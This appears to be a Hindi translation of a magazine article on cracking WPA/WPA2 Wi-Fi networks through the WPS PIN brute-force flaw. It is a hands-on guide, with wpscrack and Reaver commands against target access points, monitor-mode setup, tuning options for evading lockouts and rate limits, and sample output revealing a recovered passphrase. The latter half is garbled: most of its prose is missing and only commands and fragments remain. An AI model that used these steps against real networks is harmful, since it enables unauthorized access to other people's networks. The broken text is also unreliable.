10 घंटे में वाई-फाई हैक करें

बहुत समय पहले ऐसा नहीं था, ऐसा लगता था कि WPA2 तकनीक द्वारा संरक्षित एक वायरलेस नेटवर्क पूरी तरह से सुरक्षित था। कनेक्ट करने के लिए एक सरल कुंजी ढूंढना वास्तव में संभव है। लेकिन अगर आप वास्तव में लंबी कुंजी स्थापित करते हैं, तो न तो इंद्रधनुष सारणी, और न ही GPU के कारण त्वरण इसे खींचने में मदद करेगा। लेकिन, जैसा कि यह निकला, आप WPS प्रोटोकॉल में हाल ही में मिली भेद्यता का उपयोग करके, इसके बिना एक वायरलेस नेटवर्क से कनेक्ट कर सकते हैं।

सरलीकरण की कीमत

ओपन एक्सेस पॉइंट, जिनसे आपको कनेक्ट करने के लिए एक कुंजी दर्ज करने की आवश्यकता नहीं है, कम और कम होते जा रहे हैं। ऐसा लगता है कि जल्द ही उन्हें रेड बुक में सूचीबद्ध किया जा सकता है। यदि पहले किसी व्यक्ति को यह भी पता नहीं होगा कि वायरलेस नेटवर्क को कुंजी से बंद किया जा सकता है, तो बाहरी कनेक्शन से खुद को बचाते हुए, अब वे तेजी से इस संभावना के बारे में बता रहे हैं। सेटअप को सरल बनाने के लिए लोकप्रिय राउटर मॉडल के लिए अग्रणी प्रदाताओं द्वारा जारी किया गया कम से कम कस्टम फर्मवेयर लें। वायरलेस नेटवर्क की सुरक्षा के लिए दो चीजों को निर्दिष्ट करने की आवश्यकता है - लॉगिन / पासवर्ड और ... कुंजी। इससे भी महत्वपूर्ण बात, उपकरण निर्माता खुद सेटअप प्रक्रिया को सीधा करने की कोशिश कर रहे हैं। तो, अधिकांश आधुनिक राउटर WPS (वाई-फाई संरक्षित सेटअप) तंत्र का समर्थन करते हैं। इसके साथ, एक उपयोगकर्ता सेकंड के एक मामले में एक सुरक्षित वायरलेस नेटवर्क सेट कर सकता है, इस तथ्य के साथ खुद को परेशान किए बिना कि "कहीं और आपको एन्क्रिप्शन को सक्षम करने और डब्ल्यूपीए कुंजी दर्ज करने की आवश्यकता है"। मैंने सिस्टम में आठ अंकों का वर्ण पिन दर्ज किया, जो राउटर पर लिखा है - और आपका काम हो गया! और यहाँ, तंग पर पकड़। दिसंबर में, दो शोधकर्ताओं ने तुरंत डब्ल्यूपीएस प्रोटोकॉल में गंभीर मौलिक अंतराल के बारे में बात की। यह किसी भी राउटर के लिए पिछले दरवाजे की तरह है। यह पता चला कि यदि WPS एक्सेस बिंदु पर सक्रिय है (जो, एक पल के लिए, डिफ़ॉल्ट रूप से अधिकांश राउटर में सक्षम है), तो आप कनेक्शन के लिए एक पिन का चयन कर सकते हैं और कुछ ही घंटों में कनेक्शन के लिए कुंजी निकाल सकते हैं!

WPS कैसे काम करता है?

WPS के रचनाकारों का विचार अच्छा है। तंत्र स्वचालित रूप से नेटवर्क नाम और एन्क्रिप्शन सेट करता है। इस प्रकार, उपयोगकर्ता को वेब इंटरफ़ेस में जाने और जटिल सेटिंग्स से निपटने की आवश्यकता नहीं है। और पहले से ही कॉन्फ़िगर किए गए नेटवर्क पर, आप आसानी से किसी भी डिवाइस (उदाहरण के लिए, एक लैपटॉप) को जोड़ सकते हैं: यदि आप सही ढंग से पिन दर्ज करते हैं, तो यह सभी आवश्यक सेटिंग्स प्राप्त करेगा। यह बहुत सुविधाजनक है, इसलिए बाजार के सभी प्रमुख खिलाड़ी (सिस्को / लिंक्स, नेटगियर, डी-लिंक, बेलकिन, बफ़ेलो, ज़ीएक्सएल) अब डब्ल्यूपीएस समर्थन के साथ वायरलेस राउटर प्रदान करते हैं। आइए एक नज़र डालें।
WPS का उपयोग करने के तीन तरीके हैं:

1. पुश-बटन-कनेक्ट (PBC) । उपयोगकर्ता राउटर (हार्डवेयर) और कंप्यूटर (सॉफ्टवेयर) पर एक विशेष बटन दबाता है, जिससे कॉन्फ़िगरेशन प्रक्रिया सक्रिय होती है। हमें कोई दिलचस्पी नहीं है।
2. वेब इंटरफ़ेस में पिन कोड दर्ज करें। उपयोगकर्ता ब्राउज़र के माध्यम से राउटर के प्रशासनिक इंटरफ़ेस में प्रवेश करता है और डिवाइस के मामले (चित्रा 1) पर लिखा आठ अंकों का पिन कोड दर्ज करता है, जिसके बाद कॉन्फ़िगरेशन प्रक्रिया होती है। यह विधि राउटर के प्रारंभिक कॉन्फ़िगरेशन के लिए अधिक उपयुक्त है, इसलिए हम इस पर विचार नहीं करेंगे।

   1. राउटर केस पर लिखा गया डब्ल्यूपीएस पिन कोड

3. उपयोगकर्ता के कंप्यूटर पर पिन कोड दर्ज करें (चित्र 2)।
   राउटर से कनेक्ट करते समय, आप एक विशेष डब्ल्यूपीएस सत्र खोल सकते हैं, जिसके भीतर आप राउटर को कॉन्फ़िगर कर सकते हैं या यदि आप पिन कोड सही ढंग से दर्ज करते हैं तो मौजूदा सेटिंग्स प्राप्त कर सकते हैं। यह पहले से ही आकर्षक है। ऐसे सत्र को खोलने के लिए किसी प्रमाणीकरण की आवश्यकता नहीं होती है। इसे कोई भी कर सकता है! यह पता चला है कि पिन कोड पहले से ही bruteforce जैसे हमले के लिए संभावित है। लेकिन ये सिर्फ फूल हैं।

   चित्रा 2. WPS पिन कोड दर्ज करने के लिए विंडो

भेद्यता

जैसा कि मैंने पहले बताया, पिन कोड में आठ अंक होते हैं - इसलिए, चयन के लिए 10 ^ 8 (100,000,000) विकल्प हैं। हालांकि, विकल्पों की संख्या में काफी कमी आ सकती है। तथ्य यह है कि पिन कोड का अंतिम अंक एक निश्चित चेकसम का प्रतिनिधित्व करता है, जिसकी गणना पहले सात अंकों के आधार पर की जाती है। नतीजतन, हमें पहले से ही 10 ^ 7 (10,000,000) विकल्प मिलते हैं। लेकिन यह सब नहीं है! अगला, हम ध्यान से डब्ल्यूपीएस प्रमाणीकरण प्रोटोकॉल (चित्रा 3) के उपकरण को देखते हैं। ऐसा लगता है कि यह विशेष रूप से जानवर बल के अवसर को छोड़ने के लिए डिज़ाइन किया गया था। यह पता चला है कि पिन कोड की जाँच दो चरणों में की जाती है। इसे दो बराबर भागों में विभाजित किया गया है, और प्रत्येक भाग को अलग से जाँचा जाता है!

चित्रा 3. डब्ल्यूपीएस प्रमाणीकरण प्रोटोकॉल

आइए चित्र देखें:

1. यदि, M4 संदेश भेजने के बाद, हमलावर को प्रतिक्रिया में EAP-NACK प्राप्त हुआ, तो वह सुनिश्चित कर सकता है कि पिन कोड का पहला भाग गलत है।
2. यदि वह M6 भेजने के बाद EAP-NACK प्राप्त करता है, तो, तदनुसार, पिन कोड का दूसरा भाग गलत है। हमें पहले हाफ के लिए 10 ^ 4 (10,000) और दूसरे के लिए 10 ^ 3 (1,000) विकल्प मिलते हैं। परिणामस्वरूप, हमारे पास पूर्ण खोज के लिए केवल 11,000 विकल्प हैं। यह समझने के लिए कि यह कैसे काम करेगा, यह समझने के लिए आरेख देखें।
3. एक महत्वपूर्ण बिंदु खोज की संभावित गति है। यह डब्ल्यूपीएस अनुरोधों को संसाधित करने वाले राउटर की गति से सीमित है: कुछ पहुंच बिंदु हर सेकंड, हर दस सेकंड में एक परिणाम उत्पन्न करेंगे। मुख्य समय डिफी-हेलमैन एल्गोरिथम के अनुसार सार्वजनिक कुंजी की गणना करने पर खर्च किया जाता है, इसे चरण M3 से पहले उत्पन्न किया जाना चाहिए। इस पर बिताया गया समय ग्राहक पक्ष पर एक साधारण गुप्त कुंजी चुनकर कम किया जा सकता है, जो अन्य कुंजी की गणना को और सरल करेगा। अभ्यास से पता चलता है कि एक सफल परिणाम के लिए, आमतौर पर सभी विकल्पों में से केवल आधे को छांटना पर्याप्त होता है, और औसतन बल पर केवल चार से दस घंटे लगते हैं।

चित्रा 4. डब्ल्यूपीएस पिन ब्रूटफोर्स ब्लॉक आरेख

पहला कार्यान्वयन

wpscrack, Python. Scapy, . Linux-, . , MAC- , MAC- (SSID).

$ ./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v
sniffer started
trying 00000000
attempt took 0.95 seconds
trying 00010009
<...>
trying 18660005
attempt took 1.08 seconds
trying 18670004 # found 1st half of PIN
attempt took 1.09 seconds
trying 18670011
attempt took 1.08 seconds
<...>
trying 18674095 # found 2st half of PIN
<...>
Network Key:
0000 72 65 61 6C 6C 79 5F 72 65 61 6C 6C 79 5F 6C 6F really_really_lo
0010 6E 67 5F 77 70 61 5F 70 61 73 73 70 68 72 61 73 ng_wpa_passphras
0020 65 5F 67 6F 6F 64 6F 6C 75 63 6B 5F 63 72 61 63 e_good_luck_crac
0030 6B 69 6E 67 5F 74 68 69 73 5F 6F 6E 65 king_this_one
<...>

, PIN-, — , . , , (61 ) . , wpscrack , : — Tactical Network Solutions. , PoC , Reaver. WPS-PIN PSK-, , . . , WPS .

HOW-TO

, Linux. , Reaver BackTrack, . .

0.
BackTrack 5 R1 VMware ISO. . , UNetbootin : , , , .

1.
– root:toor. , «» ( BackTrack — GNOME, KDE):

$ startx

2. Reaver
Reaver, . ( «Applications > Internet > Wicd Network Manager»). , :

$ apt-get update
$ apt-get install reaver

, 1.3, . , , , , SVN. , , ( ).

$ svn checkout reaver-wps.googlecode.com/svn/trunk reaver-wps
$ cd ./reaver-wps/src/
$ ./configure
$ make
$ make install

BackTrack — . Arch Linux, , , PKGBUILD':

$ yaourt -S reaver-wps-svn

5. c Reaver

3.
Reaver :

• ;
• ;
• MAC- (BSSID);
• , WPS.

, :

$ iwconfig

( wlan0) – , ( , Reaver, ). :

$ airmon-ng start wlan0

, ( mon0). BSSID. airodump-ng:

$ airodump-ng mon0

. WPA/WPA2 PSK. , . , — kismet, . , WPS. Reaver ( SVN) wash:

$ ./wash -i mon0

, . '-f' .cap , , , airodump-ng. Reaver BackTrack wash. , .

4.
PIN’. Reaver . ( ) BSSID :

$ reaver -i mon0 -b 00:21:29:74:67:50 -vv

"-vv" , , .

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Waiting for beacon from 00:21:29:74:67:50
[+] Associated with 00:21:29:74:67:50 (ESSID: linksys)
[+] Trying pin 63979978

PIN’ , , , . . , PIN, . , :

[+] Trying pin 64637129
[+] Key cracked in 13654 seconds
[+] WPS PIN: '64637129'
[+] WPA PSK: 'MyH0rseThink$YouStol3HisCarrot!'
[+] AP SSID: 'linksys'

— , , WPA-PSK, . , .

6. Reaver Pro — Reaver

?

— WPS . , , . , , , , . , , – . , WPS PIN-, 90 . , , ?

---

Reaver

HOWTO Reaver. WPS , . , .

1. SSID :
   # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys
2. '--dh-small', , :
   # reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
3. . :
   # reaver -i mon0 -b 00:01:02:03:04:05 -t 2
4. . :
   # reaver -i mon0 -b 00:01:02:03:04:05 -d 0
5. WPS , , . Reaver 315 , :
   # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250
6. WPS PIN-, . Reaver , '--nack':
   # reaver -i mon0 -b 00:01:02:03:04:05 --nack
7. '--eap-terminate' , WPS- EAP FAIL:
   # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate
8. WPS- , PIN-, . . Reaver , '--fail-wait':
   # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

---

FAQ

: ?
: , , . — Aircrack-ng (bit.ly/wifi_adapter_list). , , RTL8187L. USB’ 20$.

: «timeout» «out of order»?
: - . , WPS.

: MAC-?
: , MAC mon0, . , , wlan0.

: Reaver , WEP ?
: WEP , (IV), . , - , - . WPS Reaver PIN-. - , , WPS-. WPS . , , , . ALFA Network dBi, , .

: Reaver PIN, ?
: , WPS. wash: , .

: ?
: - , .

: «rate limiting detected»?
: , WPS. ( ), ( ). Reaver 1.3, - . '--ignore-locks' SVN.

: Reaver ?
: , , , , .

---

- Wi-Fi

1. WEP (Wired Equivalent Privacy). . , RC4. airodump-ng aircrack-ng, . wesside-ng, WEP .
2. WPA/WPA2 (Wireless Protected Access). — WPA/WPA2 ( WPA Handshake, ). , . , , , NVIDIA CUDA ATI Stream GPU. — aircrack-ng ( ), cowpatty ( ), pyrit ( ).

, (03) 158
: pkruglov (ivinside.blogspot.com)

.

«»

• 1 999 . 12
• 1249. iOS/iPad ( Android' !)
• «» Android